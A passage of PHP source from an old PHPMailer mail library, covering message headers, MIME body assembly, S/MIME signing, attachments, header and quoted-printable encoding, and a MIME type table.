2228 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2229 $result .= $this->AddrAppend('Bcc', $this->bcc);
2230 }
2231
2232 if(count($this->ReplyTo) > 0) {
2233 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2234 }
2235
2236 /* mail() sets the subject itself */
2237 if($this->Mailer != 'mail') {
2238 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2239 }
2240
2241 if($this->MessageID != '') {
2242 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2243 } else {
2244 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2245 }
2246 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2247 $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
2248
2249 if($this->ConfirmReadingTo != '') {
2250 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2251 }
2252
2253 // Add custom headers
2254 for($index = 0; $index < count($this->CustomHeader); $index++) {
2255 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2256 }
2257 if (!$this->sign_key_file) {
2258 $result .= $this->HeaderLine('MIME-Version', '1.0');
2259 $result .= $this->GetMailMIME();
2260 }
2261
2262 return $result;
2263 }
2264
2265 /**
2266 * Returns the message MIME.
2267 * @access private
2268 * @return string
2269 */
2270 function GetMailMIME() {
2271 $result = '';
2272 switch($this->message_type) {
2273 case 'plain':
2274 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2275 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2276 break;
2277 case 'attachments':
2278 /* fall through */
2279 case 'alt_attachments':
2280 if($this->InlineImageExists()){
2281 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2282 } else {
2283 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2284 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2285 }
2286 break;
2287 case 'alt':
2288 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2289 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2290 break;
2291 }
2292
2293 if($this->Mailer != 'mail') {
2294 $result .= $this->LE.$this->LE;
2295 }
2296
2297 return $result;
2298 }
2299
2300 /**
2301 * Assembles the message body. Returns an empty string on failure.
2302 * @access private
2303 * @return string
2304 */
2305 function CreateBody() {
2306 $result = '';
2307 if ($this->sign_key_file) {
2308 $result .= $this->GetMailMIME();
2309 }
2310
2311 $this->SetWordWrap();
2312
2313 switch($this->message_type) {
2314 case 'alt':
2315 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2316 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2317 $result .= $this->LE.$this->LE;
2318 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2319 $result .= $this->EncodeString($this->Body, $this->Encoding);
2320 $result .= $this->LE.$this->LE;
2321 $result .= $this->EndBoundary($this->boundary[1]);
2322 break;
2323 case 'plain':
2324 $result .= $this->EncodeString($this->Body, $this->Encoding);
2325 break;
2326 case 'attachments':
2327 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2328 $result .= $this->EncodeString($this->Body, $this->Encoding);
2329 $result .= $this->LE;
2330 $result .= $this->AttachAll();
2331 break;
2332 case 'alt_attachments':
2333 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2334 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2335 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2336 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2337 $result .= $this->LE.$this->LE;
2338 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2339 $result .= $this->EncodeString($this->Body, $this->Encoding);
2340 $result .= $this->LE.$this->LE;
2341 $result .= $this->EndBoundary($this->boundary[2]);
2342 $result .= $this->AttachAll();
2343 break;
2344 }
2345
2346 if($this->IsError()) {
2347 $result = '';
2348 } else if ($this->sign_key_file) {
2349 $file = tempnam("", "mail");
2350 $fp = fopen($file, "w");
2351 fwrite($fp, $result);
2352 fclose($fp);
2353 $signed = tempnam("", "signed");
2354
2355 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2356 $fp = fopen($signed, "r");
2357 $result = fread($fp, filesize($this->sign_key_file));
2358 fclose($fp);
2359 } else {
2360 $this->SetError($this->Lang("signing").openssl_error_string());
2361 $result = '';
2362 }
2363
2364 unlink($file);
2365 unlink($signed);
2366 }
2367
2368 return $result;
2369 }
2370
2371 /**
2372 * Returns the start of a message boundary.
2373 * @access private
2374 */
2375 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2376 $result = '';
2377 if($charSet == '') {
2378 $charSet = $this->CharSet;
2379 }
2380 if($contentType == '') {
2381 $contentType = $this->ContentType;
2382 }
2383 if($encoding == '') {
2384 $encoding = $this->Encoding;
2385 }
2386 $result .= $this->TextLine('--' . $boundary);
2387 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2388 $result .= $this->LE;
2389 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2390 $result .= $this->LE;
2391
2392 return $result;
2393 }
2394
2395 /**
2396 * Returns the end of a message boundary.
2397 * @access private
2398 */
2399 function EndBoundary($boundary) {
2400 return $this->LE . '--' . $boundary . '--' . $this->LE;
2401 }
2402
2403 /**
2404 * Sets the message type.
2405 * @access private
2406 * @return void
2407 */
2408 function SetMessageType() {
2409 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2410 $this->message_type = 'plain';
2411 } else {
2412 if(count($this->attachment) > 0) {
2413 $this->message_type = 'attachments';
2414 }
2415 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2416 $this->message_type = 'alt';
2417 }
2418 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2419 $this->message_type = 'alt_attachments';
2420 }
2421 }
2422 }
2423
2424 /* Returns a formatted header line.
2425 * @access private
2426 * @return string
2427 */
2428 function HeaderLine($name, $value) {
2429 return $name . ': ' . $value . $this->LE;
2430 }
2431
2432 /**
2433 * Returns a formatted mail line.
2434 * @access private
2435 * @return string
2436 */
2437 function TextLine($value) {
2438 return $value . $this->LE;
2439 }
2440
2441 /////////////////////////////////////////////////
2442 // CLASS METHODS, ATTACHMENTS
2443 /////////////////////////////////////////////////
2444
2445 /**
2446 * Adds an attachment from a path on the filesystem.
2447 * Returns false if the file could not be found
2448 * or accessed.
2449 * @param string $path Path to the attachment.
2450 * @param string $name Overrides the attachment name.
2451 * @param string $encoding File encoding (see $Encoding).
2452 * @param string $type File extension (MIME) type.
2453 * @return bool
2454 */
2455 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2456 if(!@is_file($path)) {
2457 $this->SetError($this->Lang('file_access') . $path);
2458 return false;
2459 }
2460
2461 $filename = basename($path);
2462 if($name == '') {
2463 $name = $filename;
2464 }
2465
2466 $cur = count($this->attachment);
2467 $this->attachment[$cur][0] = $path;
2468 $this->attachment[$cur][1] = $filename;
2469 $this->attachment[$cur][2] = $name;
2470 $this->attachment[$cur][3] = $encoding;
2471 $this->attachment[$cur][4] = $type;
2472 $this->attachment[$cur][5] = false; // isStringAttachment
2473 $this->attachment[$cur][6] = 'attachment';
2474 $this->attachment[$cur][7] = 0;
2475
2476 return true;
2477 }
2478
2479 /**
2480 * Attaches all fs, string, and binary attachments to the message.
2481 * Returns an empty string on failure.
2482 * @access private
2483 * @return string
2484 */
2485 function AttachAll() {
2486 /* Return text of body */
2487 $mime = array();
2488
2489 /* Add all attachments */
2490 for($i = 0; $i < count($this->attachment); $i++) {
2491 /* Check for string attachment */
2492 $bString = $this->attachment[$i][5];
2493 if ($bString) {
2494 $string = $this->attachment[$i][0];
2495 } else {
2496 $path = $this->attachment[$i][0];
2497 }
2498
2499 $filename = $this->attachment[$i][1];
2500 $name = $this->attachment[$i][2];
2501 $encoding = $this->attachment[$i][3];
2502 $type = $this->attachment[$i][4];
2503 $disposition = $this->attachment[$i][6];
2504 $cid = $this->attachment[$i][7];
2505
2506 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2507 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2508 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2509
2510 if($disposition == 'inline') {
2511 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2512 }
2513
2514 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2515
2516 /* Encode as string attachment */
2517 if($bString) {
2518 $mime[] = $this->EncodeString($string, $encoding);
2519 if($this->IsError()) {
2520 return '';
2521 }
2522 $mime[] = $this->LE.$this->LE;
2523 } else {
2524 $mime[] = $this->EncodeFile($path, $encoding);
2525 if($this->IsError()) {
2526 return '';
2527 }
2528 $mime[] = $this->LE.$this->LE;
2529 }
2530 }
2531
2532 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2533
2534 return join('', $mime);
2535 }
2536
2537 /**
2538 * Encodes attachment in requested format. Returns an
2539 * empty string on failure.
2540 * @access private
2541 * @return string
2542 */
2543 function EncodeFile ($path, $encoding = 'base64') {
2544 if(!@$fd = fopen($path, 'rb')) {
2545 $this->SetError($this->Lang('file_open') . $path);
2546 return '';
2547 }
2548 $magic_quotes = get_magic_quotes_runtime();
2549 set_magic_quotes_runtime(0);
2550 $file_buffer = fread($fd, filesize($path));
2551 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2552 fclose($fd);
2553 set_magic_quotes_runtime($magic_quotes);
2554
2555 return $file_buffer;
2556 }
2557
2558 /**
2559 * Encodes string to requested format. Returns an
2560 * empty string on failure.
2561 * @access private
2562 * @return string
2563 */
2564 function EncodeString ($str, $encoding = 'base64') {
2565 $encoded = '';
2566 switch(strtolower($encoding)) {
2567 case 'base64':
2568 /* chunk_split is found in PHP >= 3.0.6 */
2569 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2570 break;
2571 case '7bit':
2572 case '8bit':
2573 $encoded = $this->FixEOL($str);
2574 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2575 $encoded .= $this->LE;
2576 break;
2577 case 'binary':
2578 $encoded = $str;
2579 break;
2580 case 'quoted-printable':
2581 $encoded = $this->EncodeQP($str);
2582 break;
2583 default:
2584 $this->SetError($this->Lang('encoding') . $encoding);
2585 break;
2586 }
2587 return $encoded;
2588 }
2589
2590 /**
2591 * Encode a header string to best of Q, B, quoted or none.
2592 * @access private
2593 * @return string
2594 */
2595 function EncodeHeader ($str, $position = 'text') {
2596 $x = 0;
2597
2598 switch (strtolower($position)) {
2599 case 'phrase':
2600 if (!preg_match('/[\200-\377]/', $str)) {
2601 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2602 $encoded = addcslashes($str, "\0..\37\177\\\"");
2603 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2604 return ($encoded);
2605 } else {
2606 return ("\"$encoded\"");
2607 }
2608 }
2609 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2610 break;
2611 case 'comment':
2612 $x = preg_match_all('/[()"]/', $str, $matches);
2613 /* Fall-through */
2614 case 'text':
2615 default:
2616 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2617 break;
2618 }
2619
2620 if ($x == 0) {
2621 return ($str);
2622 }
2623
2624 $maxlen = 75 - 7 - strlen($this->CharSet);
2625 /* Try to select the encoding which should produce the shortest output */
2626 if (strlen($str)/3 < $x) {
2627 $encoding = 'B';
2628 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2629 // Use a custom function which correctly encodes and wraps long
2630 // multibyte strings without breaking lines within a character
2631 $encoded = $this->Base64EncodeWrapMB($str);
2632 } else {
2633 $encoded = base64_encode($str);
2634 $maxlen -= $maxlen % 4;
2635 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2636 }
2637 } else {
2638 $encoding = 'Q';
2639 $encoded = $this->EncodeQ($str, $position);
2640 $encoded = $this->WrapText($encoded, $maxlen, true);
2641 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2642 }
2643
2644 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2645 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2646
2647 return $encoded;
2648 }
2649
2650 /**
2651 * Checks if a string contains multibyte characters.
2652 * @access private
2653 * @param string $str multi-byte text to wrap encode
2654 * @return bool
2655 */
2656 function HasMultiBytes($str) {
2657 if (function_exists('mb_strlen')) {
2658 return (strlen($str) > mb_strlen($str, $this->CharSet));
2659 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2660 return False;
2661 }
2662 }
2663
2664 /**
2665 * Correctly encodes and wraps long multibyte strings for mail headers
2666 * without breaking lines within a character.
2667 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function...mimeheader.php
2668 * @access private
2669 * @param string $str multi-byte text to wrap encode
2670 * @return string
2671 */
2672 function Base64EncodeWrapMB($str) {
2673 $start = "=?".$this->CharSet."?B?";
2674 $end = "?=";
2675 $encoded = "";
2676
2677 $mb_length = mb_strlen($str, $this->CharSet);
2678 // Each line must have length <= 75, including $start and $end
2679 $length = 75 - strlen($start) - strlen($end);
2680 // Average multi-byte ratio
2681 $ratio = $mb_length / strlen($str);
2682 // Base64 has a 4:3 ratio
2683 $offset = $avgLength = floor($length * $ratio * .75);
2684
2685 for ($i = 0; $i < $mb_length; $i += $offset) {
2686 $lookBack = 0;
2687
2688 do {
2689 $offset = $avgLength - $lookBack;
2690 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2691 $chunk = base64_encode($chunk);
2692 $lookBack++;
2693 }
2694 while (strlen($chunk) > $length);
2695
2696 $encoded .= $chunk . $this->LE;
2697 }
2698
2699 // Chomp the last linefeed
2700 $encoded = substr($encoded, 0, -strlen($this->LE));
2701 return $encoded;
2702 }
2703
2704 /**
2705 * Encode string to quoted-printable.
2706 * @access private
2707 * @return string
2708 */
2709 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2710 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2711 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2712 $eol = "\r\n";
2713 $escape = '=';
2714 $output = '';
2715 while( list(, $line) = each($lines) ) {
2716 $linlen = strlen($line);
2717 $newline = '';
2718 for($i = 0; $i < $linlen; $i++) {
2719 $c = substr( $line, $i, 1 );
2720 $dec = ord( $c );
2721 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2722 $c = '=2E';
2723 }
2724 if ( $dec == 32 ) {
2725 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2726 $c = '=20';
2727 } else if ( $space_conv ) {
2728 $c = '=20';
2729 }
2730 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2731 $h2 = floor($dec/16);
2732 $h1 = floor($dec%16);
2733 $c = $escape.$hex[$h2].$hex[$h1];
2734 }
2735 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2736 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2737 $newline = '';
2738 // check if newline first character will be point or not
2739 if ( $dec == 46 ) {
2740 $c = '=2E';
2741 }
2742 }
2743 $newline .= $c;
2744 } // end of for
2745 $output .= $newline.$eol;
2746 } // end of while
2747 return trim($output);
2748 }
2749
2750 /**
2751 * Encode string to q encoding.
2752 * @access private
2753 * @return string
2754 */
2755 function EncodeQ ($str, $position = 'text') {
2756 /* There should not be any EOL in the string */
2757 $encoded = preg_replace("[\r\n]", '', $str);
2758
2759 switch (strtolower($position)) {
2760 case 'phrase':
2761 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2762 break;
2763 case 'comment':
2764 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2765 case 'text':
2766 default:
2767 /* Replace every high ascii, control =, ? and _ characters */
2768 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2769 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2770 break;
2771 }
2772
2773 /* Replace every spaces to _ (more readable than =20) */
2774 $encoded = str_replace(' ', '_', $encoded);
2775
2776 return $encoded;
2777 }
2778
2779 /**
2780 * Adds a string or binary attachment (non-filesystem) to the list.
2781 * This method can be used to attach ascii or binary data,
2782 * such as a BLOB record from a database.
2783 * @param string $string String attachment data.
2784 * @param string $filename Name of the attachment.
2785 * @param string $encoding File encoding (see $Encoding).
2786 * @param string $type File extension (MIME) type.
2787 * @return void
2788 */
2789 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2790 /* Append to $attachment array */
2791 $cur = count($this->attachment);
2792 $this->attachment[$cur][0] = $string;
2793 $this->attachment[$cur][1] = $filename;
2794 $this->attachment[$cur][2] = $filename;
2795 $this->attachment[$cur][3] = $encoding;
2796 $this->attachment[$cur][4] = $type;
2797 $this->attachment[$cur][5] = true; // isString
2798 $this->attachment[$cur][6] = 'attachment';
2799 $this->attachment[$cur][7] = 0;
2800 }
2801
2802 /**
2803 * Adds an embedded attachment. This can include images, sounds, and
2804 * just about any other document. Make sure to set the $type to an
2805 * image type. For JPEG images use "image/jpeg" and for GIF images
2806 * use "image/gif".
2807 * @param string $path Path to the attachment.
2808 * @param string $cid Content ID of the attachment. Use this to identify
2809 * the Id for accessing the image in an HTML form.
2810 * @param string $name Overrides the attachment name.
2811 * @param string $encoding File encoding (see $Encoding).
2812 * @param string $type File extension (MIME) type.
2813 * @return bool
2814 */
2815 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2816
2817 if(!@is_file($path)) {
2818 $this->SetError($this->Lang('file_access') . $path);
2819 return false;
2820 }
2821
2822 $filename = basename($path);
2823 if($name == '') {
2824 $name = $filename;
2825 }
2826
2827 /* Append to $attachment array */
2828 $cur = count($this->attachment);
2829 $this->attachment[$cur][0] = $path;
2830 $this->attachment[$cur][1] = $filename;
2831 $this->attachment[$cur][2] = $name;
2832 $this->attachment[$cur][3] = $encoding;
2833 $this->attachment[$cur][4] = $type;
2834 $this->attachment[$cur][5] = false;
2835 $this->attachment[$cur][6] = 'inline';
2836 $this->attachment[$cur][7] = $cid;
2837
2838 return true;
2839 }
2840
2841 /**
2842 * Returns true if an inline attachment is present.
2843 * @access private
2844 * @return bool
2845 */
2846 function InlineImageExists() {
2847 $result = false;
2848 for($i = 0; $i < count($this->attachment); $i++) {
2849 if($this->attachment[$i][6] == 'inline') {
2850 $result = true;
2851 break;
2852 }
2853 }
2854
2855 return $result;
2856 }
2857
2858 /////////////////////////////////////////////////
2859 // CLASS METHODS, MESSAGE RESET
2860 /////////////////////////////////////////////////
2861
2862 /**
2863 * Clears all recipients assigned in the TO array. Returns void.
2864 * @return void
2865 */
2866 function ClearAddresses() {
2867 $this->to = array();
2868 }
2869
2870 /**
2871 * Clears all recipients assigned in the CC array. Returns void.
2872 * @return void
2873 */
2874 function ClearCCs() {
2875 $this->cc = array();
2876 }
2877
2878 /**
2879 * Clears all recipients assigned in the BCC array. Returns void.
2880 * @return void
2881 */
2882 function ClearBCCs() {
2883 $this->bcc = array();
2884 }
2885
2886 /**
2887 * Clears all recipients assigned in the ReplyTo array. Returns void.
2888 * @return void
2889 */
2890 function ClearReplyTos() {
2891 $this->ReplyTo = array();
2892 }
2893
2894 /**
2895 * Clears all recipients assigned in the TO, CC and BCC
2896 * array. Returns void.
2897 * @return void
2898 */
2899 function ClearAllRecipients() {
2900 $this->to = array();
2901 $this->cc = array();
2902 $this->bcc = array();
2903 }
2904
2905 /**
2906 * Clears all previously set filesystem, string, and binary
2907 * attachments. Returns void.
2908 * @return void
2909 */
2910 function ClearAttachments() {
2911 $this->attachment = array();
2912 }
2913
2914 /**
2915 * Clears all custom headers. Returns void.
2916 * @return void
2917 */
2918 function ClearCustomHeaders() {
2919 $this->CustomHeader = array();
2920 }
2921
2922 /////////////////////////////////////////////////
2923 // CLASS METHODS, MISCELLANEOUS
2924 /////////////////////////////////////////////////
2925
2926 /**
2927 * Adds the error message to the error container.
2928 * Returns void.
2929 * @access private
2930 * @return void
2931 */
2932 function SetError($msg) {
2933 $this->error_count++;
2934 $this->ErrorInfo = $msg;
2935 }
2936
2937 /**
2938 * Returns the proper RFC 822 formatted date.
2939 * @access private
2940 * @return string
2941 */
2942 function RFCDate() {
2943 $tz = date('Z');
2944 $tzs = ($tz < 0) ? '-' : '+';
2945 $tz = abs($tz);
2946 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
2947 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
2948
2949 return $result;
2950 }
2951
2952 /**
2953 * Returns the appropriate server variable. Should work with both
2954 * PHP 4.1.0+ as well as older versions. Returns an empty string
2955 * if nothing is found.
2956 * @access private
2957 * @return mixed
2958 */
2959 function ServerVar($varName) {
2960 global $HTTP_SERVER_VARS;
2961 global $HTTP_ENV_VARS;
2962
2963 if(!isset($_SERVER)) {
2964 $_SERVER = $HTTP_SERVER_VARS;
2965 if(!isset($_SERVER['REMOTE_ADDR'])) {
2966 $_SERVER = $HTTP_ENV_VARS; // must be Apache
2967 }
2968 }
2969
2970 if(isset($_SERVER[$varName])) {
2971 return $_SERVER[$varName];
2972 } else {
2973 return '';
2974 }
2975 }
2976
2977 /**
2978 * Returns the server hostname or 'localhost.localdomain' if unknown.
2979 * @access private
2980 * @return string
2981 */
2982 function ServerHostname() {
2983 if ($this->Hostname != '') {
2984 $result = $this->Hostname;
2985 } elseif ($this->ServerVar('SERVER_NAME') != '') {
2986 $result = $this->ServerVar('SERVER_NAME');
2987 } else {
2988 $result = 'localhost.localdomain';
2989 }
2990
2991 return $result;
2992 }
2993
2994 /**
2995 * Returns a message in the appropriate language.
2996 * @access private
2997 * @return string
2998 */
2999 function Lang($key) {
3000 if(count($this->language) < 1) {
3001 $this->SetLanguage('en'); // set the default language
3002 }
3003
3004 if(isset($this->language[$key])) {
3005 return $this->language[$key];
3006 } else {
3007 return 'Language string failed to load: ' . $key;
3008 }
3009 }
3010
3011 /**
3012 * Returns true if an error occurred.
3013 * @return bool
3014 */
3015 function IsError() {
3016 return ($this->error_count > 0);
3017 }
3018
3019 /**
3020 * Changes every end of line from CR or LF to CRLF.
3021 * @access private
3022 * @return string
3023 */
3024 function FixEOL($str) {
3025 $str = str_replace("\r\n", "\n", $str);
3026 $str = str_replace("\r", "\n", $str);
3027 $str = str_replace("\n", $this->LE, $str);
3028 return $str;
3029 }
3030
3031 /**
3032 * Adds a custom header.
3033 * @return void
3034 */
3035 function AddCustomHeader($custom_header) {
3036 $this->CustomHeader[] = explode(':', $custom_header, 2);
3037 }
3038
3039 /**
3040 * Evaluates the message and returns modifications for inline images and backgrounds
3041 * @access public
3042 * @return $message
3043 */
3044 function MsgHTML($message,$basedir='') {
3045 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3046 if(isset($images[2])) {
3047 foreach($images[2] as $i => $url) {
3048 // do not change urls for absolute images (thanks to corvuscorax)
3049 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3050 $filename = basename($url);
3051 $directory = dirname($url);
3052 ($directory == '.')?$directory='':'';
3053 $cid = 'cid:' . md5($filename);
3054 $fileParts = split("\.", $filename);
3055 $ext = $fileParts[1];
3056 $mimeType = $this->_mime_types($ext);
3057 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3058 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3059 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3060 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3061 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3062 }
3063 }
3064 }
3065 }
3066 $this->IsHTML(true);
3067 $this->Body = $message;
3068 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3069 if ( !empty($textMsg) && empty($this->AltBody) ) {
3070 $this->AltBody = $textMsg;
3071 }
3072 if ( empty($this->AltBody) ) {
3073 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3074 }
3075 }
3076
3077 /**
3078 * Gets the mime type of the embedded or inline image
3079 * @access private
3080 * @return mime type of ext
3081 */
3082 function _mime_types($ext = '') {
3083 $mimes = array(
3084 'hqx' => 'application/mac-binhex40',
3085 'cpt' => 'application/mac-compactpro',
3086 'doc' => 'application/msword',
3087 'bin' => 'application/macbinary',
3088 'dms' => 'application/octet-stream',
3089 'lha' => 'application/octet-stream',
3090 'lzh' => 'application/octet-stream',
3091 'exe' => 'application/octet-stream',
3092 'class' => 'application/octet-stream',
3093 'psd' => 'application/octet-stream',
3094 'so' => 'application/octet-stream',
3095 'sea' => 'application/octet-stream',
3096 'dll' => 'application/octet-stream',
3097 'oda' => 'application/oda',
3098 'pdf' => 'application/pdf',
3099 'ai' => 'application/postscript',
3100 'eps' => 'application/postscript',
3101 'ps' => 'application/postscript',
3102 'smi' => 'application/smil',
3103 'smil' => 'application/smil',
3104 'mif' => 'application/vnd.mif',
3105 'xls' => 'application/vnd.ms-excel',
3106 'ppt' => 'application/vnd.ms-powerpoint',
3107 'wbxml' => 'application/vnd.wap.wbxml',
3108 'wmlc' => 'application/vnd.wap.wmlc',
3109 'dcr' => 'application/x-director',
3110 'dir' => 'application/x-director',
3111 'dxr' => 'application/x-director',
3112 'dvi' => 'application/x-dvi',
3113 'gtar' => 'application/x-gtar',
3114 'php' => 'application/x-httpd-php',
3115 'php4' => 'application/x-httpd-php',
3116 'php3' => 'application/x-httpd-php',
3117 'phtml' => 'application/x-httpd-php',
3118 'phps' => 'application/x-httpd-php-source',
3119 'js' => 'application/x-javascript',
3120 'swf' => 'application/x-shockwave-flash',
3121 'sit' => 'application/x-stuffit',
3122 'tar' => 'application/x-tar',
3123 'tgz' => 'application/x-tar',
3124 'xhtml' => 'application/xhtml+xml',
3125 'xht' => 'application/xhtml+xml',
3126 'zip' => 'application/zip',
3127 'mid' => 'audio/midi',
3128 'midi' => 'audio/midi',
3129 'mpga' => 'audio/mpeg',
3130 'mp2' => 'audio/mpeg',
3131 'mp3' => 'audio/mpeg',
3132 'aif' => 'audio/x-aiff',
3133 'aiff' => 'audio/x-aiff',
3134 'aifc' => 'audio/x-aiff',
3135 'ram' => 'audio/x-pn-realaudio',
3136 'rm' => 'audio/x-pn-realaudio',
3137 'rpm' => 'audio/x-pn-realaudio-plugin',
3138 'ra' => 'audio/x-realaudio',
3139 'rv' => 'video/vnd.rn-realvideo',
3140 'wav' => 'audio/x-wav',
3141 'bmp' => 'image/bmp',
3142 'gif' => 'image/gif',
3143 'jpeg' => 'image/jpeg',
3144 'jpg' => 'image/jpeg',
3145 'jpe' => 'image/jpeg',
3146 'png' => 'image/png',
3147 'tiff' => 'image/tiff',
3148 'tif' => 'image/tiff',
3149 'css' => 'text/css',
3150 'html' => 'text/html',
3151 'htm' => 'text/html',
3152 'shtml' => 'text/html',
3153 'txt' => 'text/plain',
3154 'text' => 'text/plain',
3155 'log' => 'text/plain',
3156 'rtx' => 'text/richtext',
3157 'rtf' => 'text/rtf',
3158 'xml' => 'text/xml',
3159 'xsl' => 'text/xml',
3160 'mpeg' => 'video/mpeg',
3161 'mpg' => 'video/mpeg',
3162 'mpe' => 'video/mpeg',
3163 'qt' => 'video/quicktime',
3164 'mov' => 'video/quicktime',
3165 'avi' => 'video/x-msvideo',
3166 'movie' => 'video/x-sgi-movie',
3167 'doc' => 'application/msword',
3168 'word' => 'application/msword',
3169 'xl' => 'application/excel',
3170 'eml' => 'message/rfc822'
3171 );
3172 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3173 }
3174
3175 /**
3176 * Set (or reset) Class Objects (variables)
3177 *
3178 * Usage Example:
3179 * $page->set('X-Priority', '3');
3180 *
3181 * @access public
3182 * @param string $name Parameter Name
3183 * @param mixed $value Parameter Value
3184 * NOTE: will not work with arrays, there are no arrays to set/reset
3185 */
3186 function set ( $name, $value = '' ) {
3187 if ( isset($this->$name) ) {
3188 $this->$name = $value;
3189 } else {
3190 $this->SetError('Cannot set or reset variable ' . $name);
3191 return false;
3192 }
3193 }
3194
3195 /**
3196 * Read a file from a supplied filename and return it.
3197 *
3198 * @access public
3199 * @param string $filename Parameter File Name
3200 */
3201 function getFile($filename) {
3202 $return = '';
3203 if ($fp = fopen($filename, 'rb')) {
3204 while (!feof($fp)) {
3205 $return .= fread($fp, 1024);
3206 }
3207 fclose($fp);
3208 return $return;
3209 } else {
